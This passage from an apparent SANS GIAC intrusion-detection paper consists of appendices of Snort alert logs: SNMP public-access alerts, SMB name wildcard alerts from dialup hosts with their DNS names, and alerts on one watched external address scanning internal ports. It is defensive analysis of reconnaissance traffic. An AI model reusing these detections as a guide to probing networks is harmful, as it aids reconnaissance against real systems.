05/16-11:09:21.255031 [**] SNMP public access [**] 192.168.97.12:1245 -> 192.168.101.192:161

05/16-11:09:23.126865 [**] SNMP public access [**] 192.168.97.12:1247 -> 192.168.101.192:161

05/16-11:10:30.596979 [**] SNMP public access [**] 192.168.97.12:1250 -> 192.168.101.192:161

05/16-11:11:32.845878 [**] SNMP public access [**] 192.168.97.12:1251 -> 192.168.101.192:161

05/16-11:12:35.149112 [**] SNMP public access [**] 192.168.97.12:1252 -> 192.168.101.192:161

05/16-11:13:37.980489 [**] SNMP public access [**] 192.168.97.12:1254 -> 192.168.101.192:161

05/16-11:13:39.868359 [**] SNMP public access [**] 192.168.97.12:1255 -> 192.168.101.192:161

05/16-11:16:49.898434 [**] SNMP public access [**] 192.168.97.12:1260 -> 192.168.101.192:161

05/16-11:20:01.807886 [**] SNMP public access [**] 192.168.97.12:1265 -> 192.168.101.192:161

05/16-11:21:04.249185 [**] SNMP public access [**] 192.168.97.12:1267 -> 192.168.101.192:161

05/16-11:21:05.929513 [**] SNMP public access [**] 192.168.97.12:1268 -> 192.168.101.192:161

05/16-11:22:13.557568 [**] SNMP public access [**] 192.168.97.12:1271 -> 192.168.101.192:161

05/16-11:23:15.816056 [**] SNMP public access [**] 192.168.97.12:1272 -> 192.168.101.192:161
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
05/16-11:25:20.315422 [**] SNMP public access [**] 192.168.97.12:1274 -> 192.168.101.192:161

05/16-11:26:22.567806 [**] SNMP public access [**] 192.168.97.12:1275 -> 192.168.101.192:161

05/16-11:27:26.019764 [**] SNMP public access [**] 192.168.97.12:1277 -> 192.168.101.192:161

05/16-11:27:27.699881 [**] SNMP public access [**] 192.168.97.12:1278 -> 192.168.101.192:161

05/16-11:29:32.349519 [**] SNMP public access [**] 192.168.97.12:1280 -> 192.168.101.192:161

05/16-11:30:37.142388 [**] SNMP public access [**] 192.168.97.12:1283 -> 192.168.101.192:161

05/16-11:32:44.430169 [**] SNMP public access [**] 192.168.97.12:1287 -> 192.168.101.192:161

05/16-11:36:53.482716 [**] SNMP public access [**] 192.168.97.12:1291 -> 192.168.101.192:161

05/16-11:43:07.983158 [**] SNMP public access [**] 192.168.97.12:1297 -> 192.168.101.192:161

05/16-11:45:20.581303 [**] SNMP public access [**] 192.168.97.12:1301 -> 192.168.101.192:161

05/16-11:46:22.807573 [**] SNMP public access [**] 192.168.97.12:1302 -> 192.168.101.192:161

05/16-11:49:29.630818 [**] SNMP public access [**] 192.168.97.12:1305 -> 192.168.101.192:161

05/16-11:51:34.520837 [**] SNMP public access [**] 192.168.97.12:1307 -> 192.168.101.192:161

05/16-11:51:34.708404 [**] SNMP public access [**] 192.168.97.12:1308 -> 192.168.101.192:161

05/16-11:54:43.162466 [**] SNMP public access [**] 192.168.97.12:1312 -> 192.168.101.192:161

05/16-11:57:50.113929 [**] SNMP public access [**] 192.168.97.12:1315 -> 192.168.101.192:161

05/16-12:00:08.472118 [**] SNMP public access [**] 192.168.97.12:1321 -> 192.168.101.192:161

05/16-12:04:20.279260 [**] SNMP public access [**] 192.168.97.12:1327 -> 192.168.101.192:161

05/16-12:05:22.651129 [**] SNMP public access [**] 192.168.97.12:1328 -> 192.168.101.192:161

05/16-12:06:25.276883 [**] SNMP public access [**] 192.168.97.12:1329 -> 192.168.101.192:161

05/16-12:06:25.278168 [**] SNMP public access [**] 192.168.97.12:1330 -> 192.168.101.192:161

05/16-12:06:27.178143 [**] SNMP public access [**] 192.168.97.12:1331 -> 192.168.101.192:161

05/16-12:08:31.844877 [**] SNMP public access [**] 192.168.97.12:1334 -> 192.168.101.192:161
```

Appendix C: SMB Name Wildcard Alerts

Presented are the alerts followed by the DNS name of the source.

```
05/16-19:54:37.372961 [**] SMB Name Wildcard [**] 63.208.29.210:137 -> 192.168.100.130:137
```

dialup-63.208.29.210.Tampa1.Level3.net

```
05/22-12:24:00.842981 [**] SMB Name Wildcard [**] 63.208.203.51:137 -> 192.168.100.130:137
```

dialup-63.208.203.51.Tampa1.Level3.net

```
05/22-13:07:28.811022 [**] SMB Name Wildcard [**] 63.208.207.71:137 -> 192.168.100.130:137
```

dialup-63.208.207.71.Tampa1.Level3.net

Repeated for a total of 40 alerts.

```
05/22-14:52:47.636482 [**] SMB Name Wildcard [**] 63.208.207.71:137 -> 192.168.100.130:137

05/22-15:30:13.239348 [**] SMB Name Wildcard [**] 63.208.31.202:137 -> 192.168.100.130:137
```

dialup-63.208.31.202.Tampa1.Level3.net

```
05/22-15:30:49.537379 [**] SMB Name Wildcard [**] 63.208.31.202:137 -> 192.168.100.130:137

05/22-15:41:52.413502 [**] SMB Name Wildcard [**] 63.208.31.202:137 -> 192.168.100.130:137

05/22-19:53:10.379901 [**] SMB Name Wildcard [**] 63.208.207.98:137 -> 192.168.100.130:137
```

dialup-63.208.207.98.Tampa1.Level3.net

Repeated for a total of 20 Alerts

```
05/22-20:36:09.572261 [**] SMB Name Wildcard [**] 63.208.207.98:137 -> 192.168.100.130:137

05/22-22:13:23.799380 [**] SMB Name Wildcard [**] 63.208.201.185:137 -> 192.168.100.130:137
```

dialup-63.208.201.185.Tampa1.Level3.net

```
05/22-22:17:47.875355 [**] SMB Name Wildcard [**] 63.208.201.185:137 -> 192.168.100.130:137

05/22-22:17:49.064816 [**] SMB Name Wildcard [**] 63.208.201.185:137 -> 192.168.100.130:137

05/24-20:52:01.321545 [**] SMB Name Wildcard [**] 166.90.30.149:137 -> 192.168.100.130:137
```

© SANS Institute 2000 - 2005 Author retains full rights.

dialup-166.90.30.149.Washington1.Level3.net

Repeated for a total of 180 alerts

```
05/24-21:36:37.116966 [**] SMB Name Wildcard [**] 166.90.30.149:137 -> 192.168.100.130:137
```

Appendix D: GIAC watch of 195.11.50.204

```
05/25-05:18:02.966270 [**] GIAC 08-feb-2000 [**] 195.11.50.204:4910 -> 192.168.100.165:53

05/25-05:18:02.966270 [**] GIAC 08-feb-2000 [**] 195.11.50.204:4910 -> 192.168.100.165:53

05/28-06:20:44.976398 [**] GIAC 08-feb-2000 [**] 195.11.50.204:2125 -> 192.168.179.77:554

05/28-06:20:44.976398 [**] GIAC 08-feb-2000 [**] 195.11.50.204:2125 -> 192.168.179.77:554

05/28-06:20:44.976398 [**] GIAC 08-feb-2000 [**] 195.11.50.204:2125 -> 192.168.179.77:554

05/28-06:22:21.702147 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1077 -> 192.168.179.77:1462

05/28-06:22:21.702147 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1077 -> 192.168.179.77:1462

05/28-06:22:21.702147 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1077 -> 192.168.179.77:1462

05/28-06:24:56.743589 [**] GIAC 08-feb-2000 [**] 195.11.50.204:119 -> 192.168.179.77:5000

05/28-06:24:56.743589 [**] GIAC 08-feb-2000 [**] 195.11.50.204:119 -> 192.168.179.77:5000

05/28-06:24:56.743589 [**] GIAC 08-feb-2000 [**] 195.11.50.204:119 -> 192.168.179.77:5000

05/28-06:27:04.204332 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1148 -> 192.168.179.77:1975

05/28-06:27:04.204332 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1148 -> 192.168.179.77:1975

05/28-06:27:04.204332 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1148 -> 192.168.179.77:1975

05/28-06:28:45.457426 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1047 -> 192.168.179.77:10007

05/28-06:28:45.457426 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1047 -> 192.168.179.77:10007

05/28-06:28:45.457426 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1047 -> 192.168.179.77:10007

05/28-06:28:46.918909 [**] GIAC 08-feb-2000 [**] 195.11.50.204:62315 -> 192.168.179.77:20

05/28-06:28:46.918909 [**] GIAC 08-feb-2000 [**] 195.11.50.204:62315 -> 192.168.179.77:20

05/28-06:28:46.918909 [**] GIAC 08-feb-2000 [**] 195.11.50.204:62315 -> 192.168.179.77:20

05/28-06:28:49.843416 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1532 -> 192.168.179.77:43370

05/28-06:28:49.843416 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1532 -> 192.168.179.77:43370

05/28-06:28:49.843416 [**] GIAC 08-feb-2000 [**] 195.11.50.204:1532 -> 192.168.179.77:43370
```

© SANS Institute

© SANS Institute 2000 - 2005 Author retains full rights.